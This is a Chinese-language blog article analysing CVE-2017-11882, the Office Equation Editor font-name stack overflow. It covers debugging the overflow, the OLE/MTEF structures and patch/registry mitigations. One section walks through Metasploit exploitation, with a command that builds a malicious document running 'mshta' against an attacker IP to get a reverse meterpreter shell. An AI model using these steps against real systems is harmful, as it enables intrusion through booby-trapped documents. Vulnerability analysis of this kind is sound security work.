Office系列漏洞CVE-2017-11882是什么意思

这篇文章将为大家详细讲解有关Office系列漏洞CVE-2017-11882是什么意思,文章内容质量较高,因此小编分享给大家做个参考,希望大家阅读完这篇文章后对相关知识有一定的了解。

一、漏洞简介

CVE-2017-11882属于缓冲区溢出类型漏洞,产生漏洞原因于EQNEDT32.EXE(微软office自带公式编辑器)进程在读入包含MathType的ole数据时,在拷贝公式字体名称(Font Name数据)时没有对名称长度进行校验,导致缓冲区溢出。通过覆盖函数的返回地址,可执行任意代码。

 2017年11月14日,微软发布了11月份的安全补丁更新,影响流行的所有Office版本。

漏洞基本信息  
漏洞ID CVE-2017-11882
漏洞名称 Microsoft Office数学公式编辑器内存损坏漏洞
漏洞类型 远程代码执行
威胁类型 栈溢出
影响版本 Microsoft Office  2000/2003/2007sp3/2010sp2/2013sp1/2016

      二、漏洞测试

系统环境 Win7 32
Microsoft Office 2013 sp1
生成测试漏洞文件 https://github.com/Ridter/CVE-2017-11882

 使用Command_CVE-2017-11882.py脚本生成漏洞文件。

Office系列漏洞CVE-2017-11882是什么意思

有两种方式,我们先测试第一种弹出计算器。

Office系列漏洞CVE-2017-11882是什么意思

      三、漏洞定位

由于缓冲区溢出函数处于EQNEDT32进程中,所以对它进行调试分析,打开漏洞文件会弹出计算器,一般采用Winexec函数调用,可对该函数进行下断,然后进行逆推找出溢出点。

 首先把eqnedt32.exe拖进od运行(或打开后进行附加),然后定位WinExec进行下断,打开漏洞文件test.doc,此时断点会停在WinExec函数上。 

Office系列漏洞CVE-2017-11882是什么意思

由于漏洞利用采用函数覆盖返回地址,那我们可以从栈中找出漏洞函数的上层或上上层函数继续进行分析。

Office系列漏洞CVE-2017-11882是什么意思

在4115A7函数上下好断点,重新打开漏洞文件,断下后进行步过(F8)分析,在步过第一个call后并没有返回,而是直接弹出了计算器,这就说明漏洞溢出点在这个call里面,也就是把栈中返回地址4115D8进行了覆盖,从而转向shellcode执行。

Office系列漏洞CVE-2017-11882是什么意思

上图是调用41160F,栈中保存的原始返回地址

Office系列漏洞CVE-2017-11882是什么意思

在copy字体名字的时候,由于没有校验名称长度,导致缓冲区溢出,从而过长的数据覆盖了该函数的返回地址4115D8。

Office系列漏洞CVE-2017-11882是什么意思

IDA分析可以看到[ebp+28]就是溢出缓冲区。

Office系列漏洞CVE-2017-11882是什么意思

[ebp+28]分配的空间是0x24,超过此长度就会产生溢出,从而覆盖返回地址。

在经过溢出点后,原始返回地址4115D8被覆盖成402114。

Office系列漏洞CVE-2017-11882是什么意思

这里覆盖后的地址是402114,Retn后回转到该地址处执行,

Office系列漏洞CVE-2017-11882是什么意思

Retn执行后会转向12F350处,存放的就是FONT[name]数据,也就是shellcode。

Office系列漏洞CVE-2017-11882是什么意思

Shellcode中callWinExec函数弹出calc.exe。

Office系列漏洞CVE-2017-11882是什么意思

成功弹出计算器。

 四、数据结构分析

 漏洞出现在模块EQNEDT32.EXE中,该模块以OLE技术(Object Linking and Embedding,对象链接与嵌入)将公式嵌入在Office文档内。当插入和编辑数学公式时,EQNEDT32.EXE并不会被作为Office进程(如Word等)的子进程创建,而是以单独的进程形式存在。这就意味着对于word、excel等Office进程的保护机制,无法阻止EQNEDT32.EXE这个进程被利用。漏洞存在于EQNEDT32.EXE处理Office OLE Equation对象中标记为字体名称记录的字节流中,如果Equation对象中存在标记为字体名称的超长字节流,则程序在处理该字符串的过程,会由于判断字符串长度而发生栈溢出漏洞。

 Equation Native数据流= EQNOLEFILEHDR + MTEFData,其中

MTEFData = MTEFheader + MTEF Byte Stream

EQNOLEFILEHDR头结构(共28字节)如下

 struct EQNOLEFILEHDR {

  WORD    cbHdr;      // 格式头长度,固定为0x1C。

  DWORD   version;    // 固定为0x00020000。

  WORD    cf;          // 该公式对象的剪贴板格式。

  DWORD   cbObject;  // MTEF数据的长度,不包括头部。

  DWORD   reserved1; // 未公开

  DWORD   reserved2; // 未公开

  DWORD   reserved3; // 未公开

  DWORD   reserved4; // 未公开

};

对应的数据如下图

 Office系列漏洞CVE-2017-11882是什么意思

MTEFheader

byte   description   value  
0 MTEF version 3
1 generating platform 0 for Macintosh, 1 for Windows
2 generating product 0 for MathType, 1 for Equation Editor
3 product version 3
4 product subversion 0

MTEFByte Stream

value   symbol   description  
0 END   end of MTEF, pile, line, embellishment  list, or template
1 LINE   line (slot) record
2 CHAR   character record
3 TMPL   template record
4 PILE   pile (vertical stack of lines) record
5 MATRIX   matrix record
6 EMBELL   character embellishment (e.g. hat, prime)  record
7 RULER   ruler (tab-stop location) record
8 FONT   font name record
9 SIZE   general size record
10 FULL   full size record
11 SUB   subscript size record
12 SUB2   sub-subscript size record
13 SYM   symbol size record
14 SUBSYM   sub-symbol size record

参考:http://rtf2latex2e.sourceforge.net/MTEF3.html

 数据 8 对应的数据类型为FONT,记录及结构如下:

 struct stuFontRecord {

  BYTE bTag;             // 字体文件的tag位0x08

  BYTE bTypeFace;    // 字体风格

  BYTE bStyle;           // 字体样式

  BYTE bFontName[n] // 字体名称,以NULL为结束符

}; 

字段     说明  
Tag 0×08 1字节,固定为0×08
tface typeface number 1字节,Typeface编号
style 1或者2 1字节,1表示斜体,2表示粗体
name Font name (null-terminated) 字体名字,以Null结尾

对应的数据如下图 

Office系列漏洞CVE-2017-11882是什么意思

 五、RTF结构分析

Office系列漏洞CVE-2017-11882是什么意思

其中,/objupdate控制字来保证OLE对象的自动更新和加载,从而触发漏洞代码执行。默认状态下Office文档中的OLE Object需要用户双击才能生效。将OLE Object的属性为自动更新,这样无需交互,点击打开文档后OLE Object对象会生效,从而执行恶意代码。 

对漏洞文件ole对象分析

Office系列漏洞CVE-2017-11882是什么意思

可以看到插入了数学公式ole对象

 查看ole对象的目录结构

Office系列漏洞CVE-2017-11882是什么意思

可以看到ole对象中包含了EquationNative流

Office系列漏洞CVE-2017-11882是什么意思

使用olebrowse工具查看Equation Native 流

 六、MSF利用

环境准备

目标机 Win7以及具有该漏洞的office
攻击机 Kali  linux
Msf组件 https://github.com/0x09AL/CVE-2017-11882-metasploit

 首先下载组件

把cve_2017_11882.rbcopy到

/usr/share/Metasploit-framework/modules/exploits/windows/smb

Office系列漏洞CVE-2017-11882是什么意思再Copycve-2017-11882.rtf 到/usr/share/metasploit-framework/data/exploits

Office系列漏洞CVE-2017-11882是什么意思

启动metasploit

Office系列漏洞CVE-2017-11882是什么意思

使用search命令查找11882对应模块,用命令use exploit/windows/smb/cve_2017_11882

showoptions查看要设置的参数

Office系列漏洞CVE-2017-11882是什么意思

设置一个反弹式的meterpreter攻击载荷

设置本机ip以及URI路径

Office系列漏洞CVE-2017-11882是什么意思

使用命令exploit-j 返回结果会显示出与目标主机的哪个端口建立了连接

Office系列漏洞CVE-2017-11882是什么意思

生成目标机的漏洞文档,命令如下

PythonCommand109b_CVE-2017-11882.py -c “mshta http://192.168.106.132:8080/test”-o test.doc

这里的为攻击机的ip,端口设置8080以及URI设置test,生成后,在目标机打开该文档。

Office系列漏洞CVE-2017-11882是什么意思

如果成功,meterpreter会显示返回连接信息,如失败,可能是参数错误或者其它错误

 成功后,使用命令sessions-l 查看你控制的pc

Office系列漏洞CVE-2017-11882是什么意思

使用命令sessions-i 1 切换进入,输入shell,进入cmd,whoami,OVER。

 七、修复漏洞

 (1)下载https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882更新补丁进行修补

(2)开启Windows Update功能,定期对系统进行自动更新

 取消该模块的注册

 (1)按下Win+R组合键,打开cmd.exe

 (2)输入以下两条命令:

reg add“HKLM/SOFTWARE/Microsoft/Office/Common/COMCompatibility{0002CE02-0000-0000-C000-000000000046}” /v “Compatibility Flags”/t REG_DWORD /d 0x400

 reg add“HKLM/SOFTWARE/Wow6432Node/Microsoft/Office/Common/COMCompatibility{0002CE02-0000-0000-C000-000000000046}” /v “Compatibility Flags”/t REG_DWORD /d 0x400

关于Office系列漏洞CVE-2017-11882是什么意思就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看到。

原创文章,作者:1402239773,如若转载,请注明出处:https://blog.ytso.com/222079.html

(0)
上一篇 2022年1月4日
下一篇 2022年1月4日

相关推荐

发表回复

登录后才能评论